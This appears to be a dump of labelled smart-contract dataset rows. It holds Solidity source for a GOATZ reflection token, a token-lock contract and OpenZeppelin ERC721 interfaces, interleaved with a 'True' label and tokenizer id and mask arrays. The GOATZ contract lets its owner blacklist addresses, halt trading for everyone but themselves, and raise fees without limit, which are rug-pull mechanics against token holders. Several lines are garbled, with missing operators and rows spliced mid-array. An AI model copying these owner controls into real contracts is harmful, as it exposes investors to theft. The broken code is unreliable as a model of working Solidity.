divisor cannot be zero. / function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { address msgSender = _msgSender(); _owner =msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function sync() external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } contract GOATZ is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "GOATZ TOKEN"; string private _symbol = "GOATZ"; uint8 private _decimals = 18; mapping(address => uint256) internal _reflectionBalance; mapping(address => uint256) internal _balanceLimit; mapping(address => uint256) internal _tokenBalance; mapping(address => bool) internal _isTxLimitExempt; mapping(address => bool) internal _isMaxTxWallet; mapping (address => bool) public _blackList; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private constant MAX = ~uint256(0); uint256 internal _tokenTotal = 2000000000000 (10decimals()); uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal)); mapping(address => bool) isTaxless; mapping(address => bool) internal _isExcluded; address[] internal _excluded; uint256 public _feeDecimal = 2; // do not change this value... uint256 public _taxFee = 400; // means 4% which distribute to all holders reflection fee uint256 public _liquidityFee = 400; // means 4% add liquidity uint256 public _marketingFee =100; //1% to marketing wallet uint256 public _charityFee =100; //1% to charity wallet address marketingWallet = 0x68Cac4E7411a10953CB45F88Fa7C9d4838D904A9; address charityWallet = 0x2a06A343f1FAA204EDa1868579Bb0d1a94861C56; address preSale =0xeec48b1856549F056ec473441Ba1582074f84604; uint256 public _taxFeeTotal; uint256 public _liquidityFeeTotal; bool public isFeeActive = true; // should be true bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool private tradingEnable = true; uint256 public maxTxAmount = _tokenTotal; uint256 public maxWalletAmount =_tokenTotal; //pre sale bool public preSaleFinalize=false; uint256 public preSaleTime = block.timestamp; uint256 Rate = 880000000; uint256 public minTokensBeforeSwap = 100_000e18; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived, uint256 tokensIntoLiqudity); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); // for BSC Pncake v2 // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); // for SushiSwap IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // for Ethereum uniswap v2 uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; isTaxless[owner()] = true; isTaxless[address(this)] = true; _isTxLimitExempt[owner()] = true; _isTxLimitExempt[address(this)]=true; _isTxLimitExempt[marketingWallet]=true; _isTxLimitExempt[address(uniswapV2Pair)]=true; _isMaxTxWallet[owner()] = true; _isMaxTxWallet[address(this)]=true; _isMaxTxWallet[marketingWallet]=true; // exlcude pair address from tax rewards _isExcluded[address(uniswapV2Pair)] = true; _excluded.push(address(uniswapV2Pair)); _reflectionBalance[owner()] = _reflectionTotal; emit Transfer(address(0),owner(), _tokenTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public override view returns (uint256) { return _tokenTotal; } function balanceOf(address account) public override view returns (uint256) { if (_isExcluded[account]) return _tokenBalance[account]; return tokenFromReflection(_reflectionBalance[account]); } function transfer(address recipient, uint256 amount) public override virtual returns (bool) { _transfer(_msgSender(),recipient,amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override virtual returns (bool) { _transfer(sender,recipient,amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tokenAmount, bool deductTransferFee) public view returns (uint256) { require(tokenAmount <= _tokenTotal, "Amount must be less than supply"); if (!deductTransferFee) { return tokenAmount.mul(_getReflectionRate()); } else { return tokenAmount.sub(tokenAmount.mul(_taxFee).div(10 _feeDecimal + 2)).mul( _getReflectionRate() ); } } function tokenFromReflection(uint256 reflectionAmount) public view returns (uint256) { require( reflectionAmount <= _reflectionTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getReflectionRate(); return reflectionAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require( account != address(uniswapV2Router), "ERC20: We can not exclude Uniswap router." ); require(!_isExcluded[account], "ERC20: Account is already excluded"); if (_reflectionBalance[account] > 0) { _tokenBalance[account] = tokenFromReflection( _reflectionBalance[account] ); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "ERC20: Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tokenBalance[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= maxTxAmount \|\| _isTxLimitExempt[sender], "Transfer Limit Exceeds"); require(!_blackList[sender],"Address is blackListed"); require(amount <= maxWalletAmount \|\| _isMaxTxWallet[sender],"Can't hold more tokens"); require(tradingEnable \|\| owner()==sender,"trading is disable"); uint256 transferAmount = amount; uint256 rate = _getReflectionRate(); if(!preSaleFinalize){ _reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate)); _reflectionBalance[recipient] = _reflectionBalance[recipient].add(amount.mul(rate)); return; } uint256 constractBal=balanceOf(address(this)); bool overMinTokenBalance = constractBal >= minTokensBeforeSwap; if(!inSwapAndLiquify && overMinTokenBalance && sender != uniswapV2Pair && swapAndLiquifyEnabled) { swapAndLiquify(constractBal); } if(!isTaxless[sender] && !isTaxless[recipient] && !inSwapAndLiquify){ transferAmount = collectFee(sender,amount,rate); } //transfer reflection _reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate)); _reflectionBalance[recipient] = _reflectionBalance[recipient].add(transferAmount.mul(rate)); //if any account belongs to the excludedAccount transfer token if (_isExcluded[sender]) { _tokenBalance[sender] = _tokenBalance[sender].sub(amount); } if (_isExcluded[recipient]) { _tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount); } emit Transfer(sender, recipient, transferAmount); } function collectFee(address account, uint256 amount, uint256 rate) private returns (uint256) { uint256 transferAmount = amount; //@dev tax fee if(_taxFee != 0){ uint256 taxFee = amount.mul(_taxFee).div(10(_feeDecimal + 2)); transferAmount = transferAmount.sub(taxFee); _reflectionTotal = _reflectionTotal.sub(taxFee.mul(rate)); _taxFeeTotal = _taxFeeTotal.add(taxFee); } if(_liquidityFee != 0){ uint256 liquidityFee = amount.mul(_liquidityFee).div(10(_feeDecimal + 2)); transferAmount = transferAmount.sub(liquidityFee); _reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(liquidityFee.mul(rate)); if(_isExcluded[address(this)]){ _tokenBalance[address(this)] = _tokenBalance[address(this)].add(liquidityFee); } _liquidityFeeTotal = _liquidityFeeTotal.add(liquidityFee); emit Transfer(account,address(this),liquidityFee); } if(_marketingFee != 0){ uint256 burnFee = amount.mul(_marketingFee).div(10(_feeDecimal + 2)); transferAmount = transferAmount.sub(burnFee); _reflectionBalance[marketingWallet] = _reflectionBalance[marketingWallet].add(burnFee.mul(rate)); if(_isExcluded[marketingWallet]){ _tokenBalance[marketingWallet] = _tokenBalance[marketingWallet].add(burnFee); } emit Transfer(account,marketingWallet,burnFee); } if(_charityFee != 0){ uint256 burnFee = amount.mul(_charityFee).div(10(_feeDecimal + 2)); transferAmount = transferAmount.sub(burnFee); _reflectionBalance[charityWallet] = _reflectionBalance[charityWallet].add(burnFee.mul(rate)); if(_isExcluded[charityWallet]){ _tokenBalance[charityWallet] = _tokenBalance[charityWallet].add(burnFee); } emit Transfer(account,charityWallet,burnFee); } return transferAmount; } function _getReflectionRate() private view returns (uint256) { uint256 reflectionSupply = _reflectionTotal; uint256 tokenSupply = _tokenTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _reflectionBalance[_excluded[i]] > reflectionSupply \|\| _tokenBalance[_excluded[i]] > tokenSupply ) return _reflectionTotal.div(_tokenTotal); reflectionSupply = reflectionSupply.sub( _reflectionBalance[_excluded[i]] ); tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]); } if (reflectionSupply < _reflectionTotal.div(_tokenTotal)) return _reflectionTotal.div(_tokenTotal); return reflectionSupply.div(tokenSupply); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { if(contractTokenBalance > maxTxAmount){ contractTokenBalance = maxTxAmount; } // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function setPair(address pair) external onlyOwner { uniswapV2Pair = pair; } function setTaxless(address account, bool value) external onlyOwner { isTaxless[account] = value; } function setSwapAndLiquifyEnabled(bool enabled) external onlyOwner { swapAndLiquifyEnabled = enabled; emit SwapAndLiquifyEnabledUpdated(enabled); } function setFeeActive(bool value) external onlyOwner { isFeeActive = value; } function setTaxFee(uint256 fee) external onlyOwner { _taxFee = fee; } function setAddresses(address _marketingAddress,address _charityAddress) external onlyOwner{ marketingWallet=_marketingAddress; charityWallet = _charityAddress; } function setMarketingCharityFee(uint256 marketingfee,uint256 charityFee) external onlyOwner { _marketingFee = marketingfee; _charityFee = charityFee; } function setBlackList (address add,bool value) external onlyOwner { _blackList[add]=value; } function setTrading(bool value) external onlyOwner { tradingEnable= value; } function setLiquidityFee(uint256 fee) external onlyOwner { _liquidityFee = fee; } function setMaxTxAmount(uint256 amount) external onlyOwner { maxTxAmount = amount; } function setMaxTxAmountExempt(address holder, bool exempt) external onlyOwner { _isTxLimitExempt[holder] = exempt; } function setMaxWalletExempt(address holder,bool exempt) external onlyOwner { _isMaxTxWallet[holder] = exempt; } function setMinTokensBeforeSwap(uint256 amount) external onlyOwner { minTokensBeforeSwap = amount; } function setPreSaleFinalize(bool _value) external onlyOwner { preSaleFinalize = _value; } receive() external payable { if(!inSwapAndLiquify){ require( !preSaleFinalize && preSaleTime + 30 days > block.timestamp ,"pre sale is finalize"); uint256 amount=msg.value*Rate; _transfer(preSale,msg.sender,amount); payable(preSale).transfer(msg.value); } } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 2004, 2019, 4646, 1008, 2003, 4986, 1007, 1012, 1008, 1008, 2023, 3206, 2003, 2069, 3223, 2005, 7783, 1010, 3075, 1011, 2066, 8311, 1012, 1008, 1013, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 7484, 3193, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 3477, 3085, 1006, 5796, 2290, 1012, 4604, 2121, 1007, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 7484, 3193, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a b; assert(a == 0 \|\| c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public{ owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xc539Cc1697B3fd5492b2FDc3460192b3B8639164; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 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// File: openzeppelin-solidity/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/introspection/IERC165.sol pragma solidity ^0.5.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol pragma solidity ^0.5.0; /* * @dev Required interface of an ERC721 compliant contract. / contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of NFTs in `owner`'s account. / function balanceOf(address owner) public view returns (uint256 balance); /* * @dev Returns the owner of the NFT specified by `tokenId`. / function ownerOf(uint256 tokenId) public view returns (address owner); /* * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. / function safeTransferFrom(address from, address to, uint256 tokenId) public; /* * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. / function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.5.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / contract IERC721Receiver { /* * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` / function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * 